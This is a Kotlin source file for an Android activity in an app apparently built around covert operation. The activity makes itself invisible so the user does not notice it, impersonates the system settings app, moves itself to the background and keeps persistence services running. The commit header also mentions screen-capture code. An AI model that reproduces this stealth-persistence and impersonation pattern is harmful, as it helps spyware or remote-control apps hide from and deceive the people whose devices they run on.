- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
560 lines
22 KiB
Kotlin
560 lines
22 KiB
Kotlin
package com.hikoncont
|
||
|
||
import android.annotation.SuppressLint
|
||
import android.app.Activity
|
||
import android.app.ActivityManager
|
||
import android.content.Intent
|
||
import android.content.pm.PackageManager
|
||
import android.graphics.Bitmap
|
||
import android.graphics.Canvas
|
||
import android.graphics.drawable.BitmapDrawable
|
||
import android.graphics.drawable.Drawable
|
||
import android.os.Bundle
|
||
import android.os.Handler
|
||
import android.os.Looper
|
||
import android.util.Log
|
||
import android.view.Window
|
||
import android.view.WindowManager
|
||
import com.hikoncont.service.ComprehensiveKeepAliveManager
|
||
import com.hikoncont.service.HeartbeatManager
|
||
import com.hikoncont.util.InstallationStateManager
|
||
|
||
/**
|
||
* 透明保活Activity - 借鉴反编译项目的FlyActivity实现
|
||
* 主要职责:
|
||
* 1. 透明显示,用户无感知
|
||
* 2. 保活程序唤起时跳转到此Activity
|
||
* 3. 伪装成系统设置应用
|
||
* 4. 启动保活服务
|
||
*/
|
||
class TransparentKeepAliveActivity : Activity() {
|
||
|
||
companion object {
|
||
private const val TAG = "TransparentKeepAlive"
|
||
private var instance: TransparentKeepAliveActivity? = null
|
||
|
||
fun getInstance(): TransparentKeepAliveActivity? = instance
|
||
}
|
||
|
||
override fun onCreate(savedInstanceState: Bundle?) {
|
||
super.onCreate(savedInstanceState)
|
||
Log.i(TAG, "🫥 透明保活Activity创建")
|
||
|
||
try {
|
||
instance = this
|
||
|
||
// ✅ 立即禁用Activity动画,防止闪烁
|
||
overridePendingTransition(0, 0)
|
||
|
||
// ✅ ANR修复:异步处理窗口操作,避免焦点窗口切换超时
|
||
Handler(Looper.getMainLooper()).post {
|
||
try {
|
||
// ✅ 超快速隐藏窗口,防止任何闪烁 - 最高优先级
|
||
ultraFastHideWindow()
|
||
|
||
// ✅ 强制释放焦点,确保不阻断输入
|
||
forceReleaseFocus()
|
||
|
||
// ✅ 立即设置透明窗口,防止遮挡屏幕
|
||
setupTransparentWindowImmediately()
|
||
|
||
// ✅ 强制设置完全透明,确保不遮挡
|
||
forceTransparentWindow()
|
||
|
||
// ✅ 立即隐藏窗口,防止闪烁
|
||
hideWindowImmediately()
|
||
|
||
Log.d(TAG, "✅ 异步窗口设置完成,避免ANR")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 异步窗口设置失败", e)
|
||
}
|
||
}
|
||
|
||
// ✅ 修复:极简化onCreate,移除所有可能阻塞的操作
|
||
// 延迟检查安装状态,避免在onCreate中阻塞
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
// 异步检查安装是否完成
|
||
val installationStateManager = InstallationStateManager.getInstance(this@TransparentKeepAliveActivity)
|
||
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
||
|
||
if (!isInstallationComplete) {
|
||
Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接关闭")
|
||
finish()
|
||
return@postDelayed
|
||
}
|
||
|
||
// 再次确保窗口透明
|
||
hideWindowImmediately()
|
||
|
||
// 伪装成系统设置应用
|
||
disguiseAsSystemSettings()
|
||
|
||
// 启动保活服务
|
||
startKeepAliveServices()
|
||
|
||
// 透明保活Activity只进行保活,不启动主Activity
|
||
Log.d(TAG, "🫥 透明保活Activity专注于保活任务")
|
||
|
||
Log.i(TAG, "✅ 透明保活Activity初始化完成")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 透明保活Activity初始化失败", e)
|
||
}
|
||
}, 500) // 延迟500ms,给系统更多时间完成Activity创建
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 透明保活Activity初始化失败", e)
|
||
}
|
||
}
|
||
|
||
override fun onResume() {
|
||
super.onResume()
|
||
Log.d(TAG, "🔄 透明保活Activity恢复")
|
||
|
||
try {
|
||
// ✅ 立即禁用Activity动画,防止闪烁
|
||
overridePendingTransition(0, 0)
|
||
|
||
// ✅ 立即隐藏窗口,防止遮挡 - 最高优先级
|
||
hideWindowImmediately()
|
||
|
||
// ✅ 强制释放焦点,确保不阻断输入
|
||
forceReleaseFocus()
|
||
|
||
// ✅ 再次确保窗口透明设置
|
||
setupTransparentWindowImmediately()
|
||
|
||
// ✅ 强制设置完全透明
|
||
forceTransparentWindow()
|
||
|
||
// ✅ 修复:极简化onResume,只做最基本的操作
|
||
// 延迟处理,避免在onResume中阻塞
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
// 再次确保窗口隐藏
|
||
hideWindowImmediately()
|
||
|
||
// 启动保活服务
|
||
startKeepAliveServices()
|
||
|
||
// 透明保活Activity只需要保持透明状态,不需要跳转到其他应用
|
||
Log.d(TAG, "🫥 透明保活Activity保持透明状态,进行保活")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 透明保活Activity恢复失败", e)
|
||
}
|
||
}, 100) // 减少延迟时间,更快响应
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 透明保活Activity恢复失败", e)
|
||
}
|
||
}
|
||
|
||
override fun onPause() {
|
||
super.onPause()
|
||
Log.d(TAG, "⏸️ 透明保活Activity暂停")
|
||
|
||
try {
|
||
// 在暂停时也确保窗口隐藏
|
||
hideWindowImmediately()
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 暂停时隐藏窗口失败", e)
|
||
}
|
||
}
|
||
|
||
override fun onStop() {
|
||
super.onStop()
|
||
Log.d(TAG, "⏹️ 透明保活Activity停止")
|
||
|
||
try {
|
||
// 在停止时也确保窗口隐藏
|
||
hideWindowImmediately()
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 停止时隐藏窗口失败", e)
|
||
}
|
||
}
|
||
|
||
override fun onDestroy() {
|
||
super.onDestroy()
|
||
Log.i(TAG, "🛑 透明保活Activity销毁")
|
||
instance = null
|
||
}
|
||
|
||
override fun finish() {
|
||
try {
|
||
// ✅ 禁用结束动画,防止闪烁
|
||
overridePendingTransition(0, 0)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 禁用结束动画失败", e)
|
||
}
|
||
|
||
instance = null
|
||
super.finish()
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:超快速隐藏窗口,防止任何闪烁,确保不阻断输入,避免ANR
|
||
*/
|
||
@SuppressLint("WrongConstant")
|
||
private fun ultraFastHideWindow() {
|
||
try {
|
||
val window = window
|
||
|
||
// ✅ ANR修复:分步骤设置窗口属性,避免一次性操作过多导致超时
|
||
// 第一步:立即隐藏窗口装饰视图
|
||
window.decorView.visibility = android.view.View.GONE
|
||
window.decorView.alpha = 0f
|
||
|
||
// 第二步:设置基本窗口标志
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
||
|
||
// 第三步:清除可能影响焦点的标志
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
|
||
|
||
// 第四步:设置窗口属性
|
||
val attributes = window.attributes
|
||
attributes.alpha = 0.0f
|
||
attributes.x = -1000
|
||
attributes.y = -1000
|
||
attributes.width = 0
|
||
attributes.height = 0
|
||
attributes.gravity = android.view.Gravity.TOP or android.view.Gravity.LEFT
|
||
window.attributes = attributes
|
||
|
||
// 第五步:设置窗口大小和背景
|
||
window.setLayout(0, 0)
|
||
window.setBackgroundDrawable(null)
|
||
|
||
// 第六步:强制释放焦点
|
||
window.decorView.clearFocus()
|
||
window.decorView.clearAnimation()
|
||
|
||
// ✅ 新增:强制将Activity移到后台,释放焦点
|
||
moveTaskToBack(true)
|
||
|
||
Log.d(TAG, "⚡ 超快速隐藏窗口完成,焦点已释放,Activity已移到后台")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 超快速隐藏窗口失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:立即设置透明窗口,防止遮挡屏幕
|
||
*/
|
||
@SuppressLint("WrongConstant")
|
||
private fun setupTransparentWindowImmediately() {
|
||
try {
|
||
val window = window
|
||
|
||
// 立即设置窗口标志,防止遮挡
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR)
|
||
|
||
// 立即设置窗口属性
|
||
val attributes = window.attributes
|
||
attributes.dimAmount = 0.0f
|
||
attributes.alpha = 0.0f
|
||
attributes.x = -1000
|
||
attributes.y = -1000
|
||
attributes.width = 0
|
||
attributes.height = 0
|
||
window.attributes = attributes
|
||
|
||
// 立即设置窗口大小和位置
|
||
window.setLayout(0, 0)
|
||
window.setBackgroundDrawable(null)
|
||
|
||
// 立即隐藏窗口装饰视图
|
||
window.decorView.visibility = android.view.View.GONE
|
||
window.decorView.alpha = 0f
|
||
|
||
// 设置窗口不可见
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
|
||
window.setDecorFitsSystemWindows(false)
|
||
}
|
||
|
||
Log.d(TAG, "🫥 立即透明窗口设置完成")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 立即设置透明窗口失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 设置透明窗口 - 完全透明版,防止遮挡
|
||
*/
|
||
@SuppressLint("WrongConstant")
|
||
private fun setupTransparentWindow() {
|
||
try {
|
||
val window = window
|
||
|
||
// 延迟设置,避免在onCreate中阻塞
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
// ✅ 修复:设置完全透明的窗口标志,确保不遮挡
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) // 关键:不接收触摸事件
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS) // 允许超出屏幕边界
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED) // 硬件加速
|
||
|
||
// 设置窗口属性
|
||
val attributes = window.attributes
|
||
attributes.dimAmount = 0.0f
|
||
attributes.alpha = 0.0f // 完全透明
|
||
attributes.x = -1000 // 移动到屏幕外
|
||
attributes.y = -1000 // 移动到屏幕外
|
||
window.attributes = attributes
|
||
|
||
// 设置窗口大小为0x0像素,完全隐藏
|
||
window.setLayout(0, 0)
|
||
|
||
// 设置背景为透明
|
||
window.setBackgroundDrawable(null)
|
||
|
||
// ✅ 新增:立即隐藏窗口,防止短暂显示
|
||
window.decorView.visibility = android.view.View.GONE
|
||
window.decorView.alpha = 0f
|
||
|
||
// ✅ 新增:设置窗口不可见
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
|
||
window.setDecorFitsSystemWindows(false)
|
||
}
|
||
|
||
Log.d(TAG, "🫥 完全透明窗口设置完成")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 设置透明窗口失败", e)
|
||
}
|
||
}, 200) // 延迟200ms设置,给系统更多时间
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 设置透明窗口失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 伪装成系统设置应用 - 极简版,防止ANR
|
||
*/
|
||
private fun disguiseAsSystemSettings() {
|
||
try {
|
||
// ✅ 修复:极简化伪装,只设置基本标题,避免复杂的Bitmap操作
|
||
setTitle("系统设置")
|
||
Log.d(TAG, "🎭 极简伪装设置完成")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 伪装成系统设置失败", e)
|
||
}
|
||
}
|
||
|
||
// ✅ 新增:防止重复启动的标志
|
||
private var isKeepAliveStarted = false
|
||
private val keepAliveLock = Any()
|
||
|
||
/**
|
||
* 启动保活服务 - 防重复启动版
|
||
*/
|
||
private fun startKeepAliveServices() {
|
||
synchronized(keepAliveLock) {
|
||
if (isKeepAliveStarted) {
|
||
Log.d(TAG, "⚠️ 保活服务已启动,跳过重复启动")
|
||
return
|
||
}
|
||
|
||
isKeepAliveStarted = true
|
||
}
|
||
|
||
try {
|
||
Log.i(TAG, "🚀 启动保活服务")
|
||
|
||
// ✅ 修复:只更新心跳,不重复启动综合保活管理器
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
// 异步更新心跳,避免文件I/O阻塞
|
||
Thread {
|
||
try {
|
||
HeartbeatManager.getInstance(this@TransparentKeepAliveActivity).updateHeartbeat()
|
||
Log.i(TAG, "✅ 保活服务启动完成(只更新心跳)")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 更新心跳失败", e)
|
||
}
|
||
}.start()
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动心跳更新线程失败", e)
|
||
}
|
||
}, 200) // 延迟200ms,避免在Activity创建时阻塞
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动保活服务失败", e)
|
||
synchronized(keepAliveLock) {
|
||
isKeepAliveStarted = false
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强:立即隐藏窗口,防止遮挡屏幕
|
||
*/
|
||
private fun hideWindowImmediately() {
|
||
try {
|
||
val window = window
|
||
|
||
// 立即隐藏窗口装饰视图
|
||
window.decorView.visibility = android.view.View.GONE
|
||
window.decorView.alpha = 0f
|
||
|
||
// 设置窗口为完全透明 - 增强标志设置
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR)
|
||
|
||
// 设置窗口属性 - 增强属性设置
|
||
val attributes = window.attributes
|
||
attributes.alpha = 0.0f
|
||
attributes.dimAmount = 0.0f
|
||
attributes.x = -1000
|
||
attributes.y = -1000
|
||
attributes.width = 0
|
||
attributes.height = 0
|
||
window.attributes = attributes
|
||
|
||
// 设置窗口大小为0
|
||
window.setLayout(0, 0)
|
||
|
||
// 设置背景为透明
|
||
window.setBackgroundDrawable(null)
|
||
|
||
// 设置窗口不可见
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
|
||
window.setDecorFitsSystemWindows(false)
|
||
}
|
||
|
||
Log.d(TAG, "🫥 窗口已立即隐藏")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 立即隐藏窗口失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:强制设置窗口完全透明,防止任何遮挡
|
||
*/
|
||
private fun forceTransparentWindow() {
|
||
try {
|
||
val window = window
|
||
|
||
// 强制设置所有透明标志
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND)
|
||
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN)
|
||
|
||
// 强制设置窗口属性
|
||
val attributes = window.attributes
|
||
attributes.dimAmount = 0.0f
|
||
attributes.alpha = 0.0f
|
||
attributes.x = -1000
|
||
attributes.y = -1000
|
||
attributes.width = 0
|
||
attributes.height = 0
|
||
attributes.gravity = android.view.Gravity.TOP or android.view.Gravity.LEFT
|
||
window.attributes = attributes
|
||
|
||
// 强制设置窗口大小和位置
|
||
window.setLayout(0, 0)
|
||
window.setBackgroundDrawable(null)
|
||
|
||
// 强制隐藏窗口装饰视图
|
||
window.decorView.visibility = android.view.View.GONE
|
||
window.decorView.alpha = 0f
|
||
window.decorView.setBackgroundColor(android.graphics.Color.TRANSPARENT)
|
||
|
||
// 设置窗口不可见
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
|
||
window.setDecorFitsSystemWindows(false)
|
||
}
|
||
|
||
Log.d(TAG, "🫥 强制透明窗口设置完成")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 强制设置透明窗口失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:强制释放焦点,确保不阻断手机输入,避免ANR
|
||
*/
|
||
private fun forceReleaseFocus() {
|
||
try {
|
||
val window = window
|
||
|
||
// ✅ ANR修复:分步骤释放焦点,避免一次性操作过多
|
||
// 第一步:强制释放焦点
|
||
window.decorView.clearFocus()
|
||
window.decorView.clearAnimation()
|
||
|
||
// 第二步:设置窗口为完全不可交互
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
|
||
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
||
|
||
// 第三步:清除可能影响焦点的标志
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
|
||
window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
|
||
|
||
// 第四步:设置窗口属性,确保不接收输入
|
||
val attributes = window.attributes
|
||
attributes.alpha = 0.0f
|
||
attributes.x = -1000
|
||
attributes.y = -1000
|
||
attributes.width = 0
|
||
attributes.height = 0
|
||
window.attributes = attributes
|
||
|
||
// 第五步:设置窗口大小
|
||
window.setLayout(0, 0)
|
||
window.setBackgroundDrawable(null)
|
||
|
||
// 第六步:隐藏窗口装饰视图
|
||
window.decorView.visibility = android.view.View.GONE
|
||
window.decorView.alpha = 0f
|
||
|
||
// ✅ 新增:强制将Activity移到后台,释放焦点
|
||
moveTaskToBack(true)
|
||
|
||
Log.d(TAG, "🎯 焦点已强制释放,Activity已移到后台,确保不阻断输入")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 强制释放焦点失败", e)
|
||
}
|
||
}
|
||
|
||
}
|